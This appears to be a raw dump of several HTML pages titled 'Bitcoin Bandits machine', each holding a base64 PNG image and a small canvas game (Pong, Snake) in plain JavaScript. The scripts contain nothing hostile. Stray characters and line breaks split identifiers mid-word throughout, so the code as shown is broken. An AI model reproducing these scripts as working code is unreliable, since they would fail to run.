SsRRot+t3lU1tcUbBpU/HH86t35/R+pe37d7X0oppXPzL7zsslRJlfvruPfd69u3b88u7bt6TzbeuX1n9/qefdl4x/zwvyxABw0QlAINEJSI4zhFmz7qjjum77914GdARLOzJRuBRsDSUndjU/6fo+x6E3TQAEEp0ABBiTiO04kwmlrFAVBGBw0QlA66hK4ZaJsOGiAoBRogKBEHUJtzzv/wimuHX9lfcGdsZ555ZjZ+65RTW5uHDhogKAUaICgRRwtm7n44GzvNjnE3NTXV9hQq27hxYzZ+8WB731GpgwYISoEGCErE0ZDDN96VjWdyh50DlNFBAwSlQAMEJeKgFW+8/h8ppZSO/OcDfb1+zcf6feeXii9/7sl+H7iqczbvGNqzGW86aICgdNADiHJmdNHXdEXU6ZpT6nbO+W9Szq89HXVbt27Nxtdee21KaXI76ZOmzsjGa99+IxtHWWvcmVOU+eTpoAGCUqABghJxDKDfSKHu7d3Ro406PfXUUymllP7x7dV7M
i5k/+O1s/Ol/+lZPz+3l2b08d3FxcdX5TaJ8jLBhw4Zs3Gak0JlTlPnk6aABglKgAYIScTRk+v5b257C2Pqhn3x/4fXX/ugvu3/5+Z+t7dl1PBd6oYMGCEqBBghKxMHIW/9jm7Lxm99+eWSeDavRQQMEpUADBCXiYOTlo4d8JHHk6/8+lGfX8VzohQ4aICgFGiAoEcdxBj268zsf+VLxD36ue1D8uX88mcdONmGYKy2s4qBpOmiAoHTQx4lwMlyULwIYFf87xA/thvlsWI0OGiAoBRogKBFHQGKNctu2bUsppXT7kJ47jGdDv3TQAEEp0ABBiTia8g8fyIbL1kq/uz7a2uje5L83bjVzc3PZ+JlnnmnluTAIHTRAUAo0QFAijgEUbusu2dJdugV8SMZ9s8vevXtH8tlQhQ4aICgFGiAoEUfb3l3dUbSyI6X+V3eMY6wBk0YHDRCUDrpuq6x3TqndDw+B0aGDBghKgQYISsQRUcWYZBJdfPHFI/lsqEIHDRCUAg0QM
lIijB1W+qbv03rLYgkoOHTo0Us+FQeigAYJSoAGCEnG0rcqB/V8b8lxGwIEDB9qewjIbN25sewqMMR00QFAKNEBQIo5BWJkxkZaWlgrH27Zta2E2jDMdNEBQOujjDNwJO7WuEfnOdXZ2ttH3zr+fDwkZJh00QFAKNEBQIo6GnPu13yj+gbXNfWk61oA26KABglKgAYIScRynNIooEGVlxp23bUop+SZvGDc6aICgFGiAoEQcAyiMQ1pYlSHaaJat3jRFBw0QlAINEJSIAypyFkf9rvv4Vdl4cXFx6O+3d+/e3N/eO/T365cOGiAoBRogKBEHI2VUIoW5ubm2p8AY0EEDBKWDbkFna3ZKk7WG+dTTzsr97fqUUkp79jzQzmSGbNeuXdl46kevb3Em7Tv/nO6HcFu3bs3G+Q8DH/zyV5qcUkqnnHrCH+c/tGx8bjk6aICgFGiAoEQcLagj1hj1mKQbd/T36/9/f/6D3b88+2jxTa8urbx2dslB/1sWsuGPfHpfX3MqM
szzaoeOr3/xW21NIKaX04sHvtj2FUjpogKAUaICgRBwjpCzWGOUD+yP++h9xTuOiiW3cdYgyTx00QFAKNEBQIo4RUhRrHH8dGB86aICgFGiAoEQcPYgYJ0SZBzA8OmiAoHTQPdCtAm3QQQMEpUADBKVAAwSlQAMEpUADBGUVR0MirqUGYtNBAwSlQAMEJeJoiFgDqEoHDRCUAg0QlIhjjFgpAuNFBw0QlA56jOiaiWjXrl2F17fMLzQ8kxOLOE8dNEBQCjRAUBMVceR/VXl2959l48MtzKUtB/cXXbuj+YkMaM3H+n3lS8WXP/dkvw8cmmgRAM3TQQMEpUADBLVmy/zCO21PAoCVdNAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABBKdAAQSnQAEEp0ABB/T8y9c21M
dhD6PwAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddM
leHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<gM
rid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvM
as.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keyM
down",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAVOElEQVR4nO3dbbBdVXkA4HW1FASJBkGIDKSxbTBUWySA1RvGEEdTUAOiEhisBdIWrdo0MzLpjLbCVKeT0hZQ22qdEGRgNGhnABWLDBEr0REIzRQlyCjhQ+XbYPwASuX2Rzj7rOTufffZ956P99zzPH9Yd+991l65Ie+8591rrT02vnzFRAIgnOcNegAAlBOgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGC+o1BD4C4Nl9/7aCHQJeML18x6CEwM
DTJogKAEaICglDioLGVc8rmJor36jLGiPX7K7VP2t++cF9fe8wVz5k55fp/99p/y/GGH1OcWhx8yVnO+tot0/0N15yemviCl9MBDz055/qlf/nzK80/u3FF7j1/tfKL0+Oarj679LHHJoAGCEqABglLiGDFl5Yy8lNHE9juuLtpX/ewTRXvBPge0r3nqp0X7gpO2TOrjtq9e1KiPj696NKWU0uc+eX6jz235RLvd8r4//UhtHwfV9JGrG1PZn2Mqrd/NrU9fWRzL+8jHedoxX6jtj+EjgwYISoAGCEqJY5bqZGZGce3WX5deO37U8zu+X1Vp4bQXfaBoX3Xd4qL9D6ff03Ef+fEm986PTy6udNbHbuP/wK5r6kodVf3t1tf6g4p2/rvISz6t0kbVeHK33vbO9jXKHbOGDBogKBn0LNDkwV9VtjxTnWS8dZnwsXufWbRvTVeWHl9Sc++qDHPtlHduNv66bLyT/up+F3kf+bW/N35W0f7e5stK78fsIYMGCEqABghKM
iWOIdOPBX69UPWTLSxVlX8OPOXFN0c4fkOXXLjnzbzu+9xnvP79o1y31ruqjyfib9Jf3tebM77cvrljqXTZ/upP7MXvIoAGCEqABglLiCKhJKSOl/pczylTNWshnYKS9282rPv/ylFL5fOg9+2hy7+lqMv7WfOiUUrr/Q4933N9us1SuPKJov/eU26bso8mMD2YXGTRAUAI0QFBKHAMWYZFJL1UtrBgWaz96QdFe9+GPTHEldJ8MGiAoARogKCWOPom8yKQbqhZ6XLbpjaXHW3tmHFPR33QXhbztYy8pPf7FC3/QcR/5vd9x3u8U7cUlu9Kd0aS/bBZLJ3++1n3yzf+rfp9rl9xY2x/DRwYNEJQMusuGcQ5zN1TNd95Ndjxf4l0mz1LLdrBreu+63eyajD9/cFj1Vu+6/vI/X/4tomzpe9UOfXm/C8qvYMjJoAGCEqABghobX75ieq90ZtbPYc5febX6jPbOcOOn3D7l5/ad8+Lavl8wZ+6U5/fZb/8pzx92SH1uM
Ubeb3eGH1HaR7n+o7nz9P58HHnp2yvNPVexm1/Lkzh219/jVzidKj2+++uiUUkrjy1fU9kE8MmiAoARogKDM4ujAbJ/DnOvkTd6tr81Ab8mgAYISoAGCUuLYw2yfmZErK2fkszVyy5Yt6/VwmIFNmzaVHjd7Y7jJoAGCEqABghrZEoeZGeXlDKWM2JQyRosMGiAoARogqJEqceRljSOPu6Zon7um/fVw2MsZLVX7aOTe+O57+jUcpuGGy18+6ZhSxmiRQQMENVIZdJXZkjV3Is+a5847fIAjoUy+S98Nl+/6r6x5dMmgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCslCFabtqnf99OnHa2v8b9BAYUjJogKAEaICgfEelsVZp4zXLTx7wSIZD6/el1EFTMmiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICg7AdN2njSfuUnDvyjorny8v/o02iAM
Fhk0QFACNEBQShwDUPc27IG+Gmn709kP/zmwYQAyaICwBGiAoJQ4+iQva0x8Y+/2idZMicfa5YSx17ev7Xu5Y8He9dcAfSGDBghKgAYISomjy+pmaOxpx7wNKaWU5j42rxfD6cjK6345sHsD1WTQAEEJ0ABBKXHMQFk5Y2J1u73jqXb7gE+X9zH3wbO7PKrm7MUBMcmgAYISoAGCUuJoaLcFJxdlJ+6d+nM/PbfdHnt9vt/FNVNee8C6Pi9asRcHhCGDBghKBt2B6WbNc/cpP/6Tt7XbO3celFJKac6cR6c3uG6z1BvCkEEDBCVAAwSlxNHUvb2/RdWc6V6x1BtikkEDBCVAAwSlxFFhujM3qoxdUnVm8uyNiU9ln3tP+ZhyM50fbak3xCSDBghKgAYISomjy6pKGRNffWvnndz3pdLDlnrDaJFBAwQlQAMEpcTRUPVsjF0alTJyWVkjn7nRd/bigDBk0ABByaD3UDbXeGxNu12bIVc84Evzaz6XnZ/4VH+zaUu9M
ISYZNEBQAjRAUEoce2jNNd5tqfdt57cveHRL+QefK23kJYlpPzAESDJogLAEaICglDi65blZGBNfHfA4puGiK48oPT73b/6saJ91zwf7NRzgOTJogKAEaICglDj20Jq90dHMjR7JZ4L0ZQe7Cjv+7jPtH85U4oB+k0EDBCVAAwSlxFGly2WNsRMr9ugosXjx4qKdL5jpVbljzZnfL9obj/mXor3ytvf15H5AZ2TQAEHJoPfQylLHTqxY6p0rybKrMuUfH9Gea7z98UeK9mFbtqaUUjr11FMbjrQ3ZM0QhwwaICgBGiAoJY6Gxo45f8rzW7duLdpz584t2vu//e1F+yVPPlm0W6WNgw8+uDj28MMPz3CUzVjqDTHJoAGCEqABglLi2ENr3vFZZ51VHMvLGieddFLp51pliVWrVhXH1q9fX7RPnZhoX3zQQUUzL21M136P7CpF/PKln6m5shlLvWGwZNAAQQnQAEEpcaTdl1O3ShuPPNJeTFJV1siVlSryckfdtbktM
W9oLYPL3GuaLZ/Jl363SRqvUsculU94jZ6k3xCSDBghKgAYIamRLHHfecnLRzmds5KWNmcpLGV/5wPOLdpOd7fJrVxzz+0X7qRuPnnTtfq9aPOlYU52UNVrllbw0RLVBvnSB4SaDBghKgAYIynfUCtddd13RblICyT+Xe8NTy4r2ggULJrW3b99eHMvbjb4e7zaLo/d8dYfekkEDBCWDTildcMEFRXv+/PlTXluVIbcsW7as9PimTZtKj7ey5TyrbqpXS71nk7+/fNfv98FnflEc+/iqR0uvfezWN3Xc74HHfq32c/k10IQMGiAoARogKCWOlNLhd76/aLfeP5jvYHfZZZcV7aoSRktVKSN/oJbPHy57SNj04dswljYee9Mbp/W5A792Q8fXtsoaKbVLG/P2emH9PaZZklDKoNtk0ABBCdAAQY1siePI464p2mMnnpydmbwM+7zzzivaF1544ZT9Ni1PXHrQrpkEJ2yvuXCWaZUqvveHf1AcW75wedHe+tB/T7q2M
E2VljZTapY38WJW6WRx5KeOO1/9v6TXz/vEtpddDEzJogKAEaICgRrbEkSsrS3SyU1s3ljqfcEv9V+5u+sh17R3vOpnR0HOX5z98oeKidtniiht+OGV3V/zx1OdzT+94pvT4/m/5StH+8l0/Lbni4aK1MM1tX7vqiPIbbet8EdJ+x/520f6njj/FbCWDBghKgAYIamx8+YqJQQ+iXzZff23RzmdxvPKENxftVmmjaubGMO7gtv+cfy/a6z/0F5PO1y2+iejBD355xn3c/fNna6+ZuP07Hfe39NaPzWQ4laoWP40vX9GT+xGHDBogKA8JK6z53hVFe+qZz8Plks9N/sK0+oyx0mvPPvvsXg9n2uZ/YeZvHF94zr/WXvOl2zvv76ZjP1S0/+SRK6a4spmqv4cNGzaUHpdZzx4yaICgBGiAoDwkTOUPCasM40PCOuNHPb/0+DCWPnrpsy9917Q+181yRyfKSh/DWPa45RXtf697vWjvjj936GGHFe2XfvHIro6p32TQM
AEEJ0ABBmcWxh9lYwqizeeuvS4+XzfhIqbz0MQplj4l775neB/ft7jjqlP1dDNOMj1vmXzvp2DM/e7rjz9/7sx8U7R+/5oGi/ervLC+7PDQZNEBQAjRAUGZxpN1ncVCvbNaHGR+7K5vx0e/ZHJ2IXPq48tMfn3EfZ577l10YyeDIoAGCEqABgjKLg8bKZn00mfExGiaXDj679sai/ey6N/RzMI21yoGDLHV8+rz3dKGX3+xCH4MjgwYISgZNV0x3LnX+sHbuyw4rvbYf1t3czmgX7HNA0T7tmMmv4aq6tsr2p3a9NmvBlX9eHDssy6YfyI6X3a9fTlv56qId+ZvPJYu+3v5hbnucq7+1tP+D6TEZNEBQAjRAUEoc9FRe+qjaNS+yq25756Rjpy1plyc6KY3k15QZZFljWFzyupuK9r89/ddF+9BDf7dor1i0KqWU0uptJ/RtXL0mgwYISoAGCEqJYwY2rs2W827+fMefe/DSdvuvFo7e7nnDpDUDI6XOZmzQIzuyM
2UBVuwPOjTvzZLpk0ABBCdAAQSlxdKCylLF5ev3NO6fdvvjSXX8Fgyh1DOOsin7rR1kjnyliRke5fGbGe1+3rn3iuxOl18wWMmiAoARogKCUOLpt/PSi+eCqdjkkL2vkWsdbpY6UelvuyMsaEfZbuPOWkwc9hJRSSkt2+2nH1Bf/6Oj6z5Ve0z6fZ0aH/uiHpZ/rt81Xt9sRNuyvMhv33KgigwYISoAGCEqJo0JHi1CyckaZeeublTtaLr67P+WOlnzLT/rjrqxd9ftvlX96WW741ovfWrRf98SXenaf6Tj3wk/NuI//8k5CAHpBBt0leYZcpi6bzrPqfCl4P3iref/dlb5RtPPf/+4PcXs/jrHfenn7h629vx/NyKABghKgAYJS4uiSvIRRpslDQiClTZs2Fe358+d3/Ln77ruvF8MZCBk0QFACNEBQShxdMtNZHDAbbL7+2pB9dWLZsmVFOy+vVB3vx3J4GTRAUAI0QFBKHEDXLFiwYNBDmLbt27cX7fzPUXW8M
H2TQAEEJ0ABBKXFUWLnuiqK9cW12omJnu7qFKnXy/TcG8X5CIB4ZNEBQMuiZKMumO3jllbnPDNK3j1pdtF+79ZIBjoQ6MmiAoARogKCUODrQ6IHh5mbLuFsPBz0YZDZ42cJXTTr2RP7W8iFx8MEHF+2n93rhwMYhgwYISoAGCEqJo6G83JFSVvpY0vmv0pxnRsmcOXMGPYTG8hcE3P2Txwc2Dhk0QFACNEBQShxdsvLmBqWKhb0bBzB7yKABghKgAYJS4mAgvvv1r6SUUrrzlpMHPJLeO22tmTpMjwwaICgZNH3TyppTamfO+RuT87mnw+74448v2uecs+uf2ahm0s+bc1DR3vuZXxTtKHONW2OKMp6cDBogKAEaICglDobKTTfdlFJKad9/3rf22stf1V5i/MmPvaKjfjvpu5N+t23bVju+UZSXEQ488MCiPciSQmtMUcaTk0EDBCVAAwSlxDFgG9e+a1ej4m3hVeyI1/bRvcqPv/uOnUX7uC723Y1+oRMyaICgM
BGiAoJQ4+qQoZaS0ezlj8/T6y993ePGlu/4aR7XUcfgr2rMq7r9r5xRXxuob6sigAYISoAGCUuKIaPz0ovngqnY5JC9r5FrHW6WOlEar3JGXHvKSRLpj5iWJ0r670C90QgYNEJQADRCUEkcPVc7cyGXljDLz1jcrd7RcfLdyxzD13WvfPmp10X7t1ksGOBKakEEDBCWDDiLPjqvUZdN5Vp0vBZ/tPvzM8PX9jvT6ov3F9I2iPZ6WlV3OiJJBAwQlQAMEpcQRRF6+qNLkIeFstXTp0l2Na3vUbw/6humSQQMEJUADBKXEEUQ3ZnGMgvy9cXUWLVpUtL/5zW8OpF+YCRk0QFACNEBQShwMpS1btgxl39CEDBogKAEaICgljh5aue6Kor1xbXaiZGe7Thaq1Mn33xilHeyo1trFzg52w0kGDRCUDHrQyvaJ7uCVV6M093m2y3e2W7N10wBHQjQyaICgBGiAoJQ4+qTJA8P8WCeljNbDwVF6MLh48eKh7BuakEEDBCVAM
AwSlxDEAebkjpV3tjUua/VWM6pznxx57bKj6hZmQQQMEJUADBKXEEcTKmxuWKRb2ZhzR3XfffYMewm7mz58/6CEwi8mgAYISoAGCUuKAhrZv317aXrp06QBGM1lrB7uU7GI37GTQAEHJoBlKeea6YMGCvt47v1+3HxJedNSyor1m7Y27GrLgkSWDBghKgAYISomjoY1r39X+oWwnugqjujS7V/pd1oBBkEEDBCVAAwSlxFGhspSxeXr95RvvX3xp+9eu3EE3mPs8O8mgAYISoAGCUuLolvHTU0opPbiq/n2CZeUOpY7h0a+l3s+ue0NKKaVvtxasJOWLUSODBghKgAYISoljD8XsjapFKM+VMqrMW98+30m5o+Xiu83sGBa93ItjVK1aeUrR3rZtW8/vt2XLluynl/T8ftMlgwYISoAGCEqJYwbyEkaZTsodrXa+VwfVhqWksGjRoq71lc/cyBekVF3D7CGDBghKBj0DeYZcpslDwlHwyhPenP10TUoppU2bTh7MM
YHpsw4YNRfvI467pWr/DmCkvfFn7Idzxxx9ftPOHges3Xt3PIaW01wunPJ0/tOz72DIyaICgBGiAoJQ4ZqAbDwlHVbvc0b2v/1HtXtqh5Vv/8/1BDyGllNLdP3l80EOoJIMGCEqABghKiYOB8vV/tPRjGXc3RBmnDBogKAEaICgljj2sXHdFSimljWuzgxU729UtVOlEa4m3HeyAPcmgAYISoAGCUuJoqmYj/7pd6wA6JYMGCEoGXaH1sDClzh4Yto53kinnez97OAhUkUEDBCVAAwSlxNGBvNyRUlb6WNL5r09ZA2hKBg0QlAANEJQSxwysvLlBqWJh78YBzE4yaICgBGiAoARogKAEaICgBGiAoARogKAEaICgzIMGemrDhg2lx8eXr+jzSKYWcZwyaICgBGiAoEaqxJF/Vdl8/clF+85bBjGawbiq7Ni6kfrfILT87ydaCYD+k0EDBCVAAwQ1Nr58xcSgBwHAZDJogKAEaICgBGiAoARogKAEaICgBGiAoARoM
gKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoARogKAEaICgBGiAoP4ffOKbh5D0F3wAAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="400" height="400" id="gamecanvas"></canvas></div></div></body><script>var canvas=document.getElementById("gamecanvas"),context=canvas.getContext("2d"),grid=16,count=0,snake={x:160,y:160,dx:grid,dy:0,cells:[],k:4},apple={x:320,y:320};function getRandomInt(e,n){return Math.floor(Math.random()*(n-e))+e}function M
loop(){requestAnimationFrame(loop),++count<4||(count=0,context.clearRect(0,0,canvas.width,canvas.height),snake.x+=snake.dx,snake.y+=snake.dy,snake.x<0?snake.x=canvas.width-grid:snake.x>=canvas.width&&(snake.x=0),snake.y<0?snake.y=canvas.height-grid:snake.y>=canvas.height&&(snake.y=0),snake.cells.unshift({x:snake.x,y:snake.y}),snake.cells.length>snake.k&&snake.cells.pop(),context.fillStyle="red",context.fillRect(apple.x,apple.y,grid-1,grid-1),context.fillStyle="green",snake.cells.forEach(function(e,n){context.fillReM
ct(e.x,e.y,grid-1,grid-1),e.x===apple.x&&e.y===apple.y&&(snake.k++,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid);for(var a=n+1;a<snake.cells.length;a++)e.x===snake.cells[a].x&&e.y===snake.cells[a].y&&(snake.x=160,snake.y=160,snake.cells=[],snake.k=4,snake.dx=grid,snake.dy=0,apple.x=getRandomInt(0,25)*grid,apple.y=getRandomInt(0,25)*grid)}))}document.addEventListener("keydown",function(e){37===e.which&&0===snake.dx?(snake.dx=-grid,snake.dy=0):38===e.which&&0===snake.dy?(snake.dy=-grid,snake.dx=0):L
39===e.which&&0===snake.dx?(snake.dx=grid,snake.dy=0):40===e.which&&0===snake.dy&&(snake.dy=grid,snake.dx=0)}),requestAnimationFrame(loop)</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
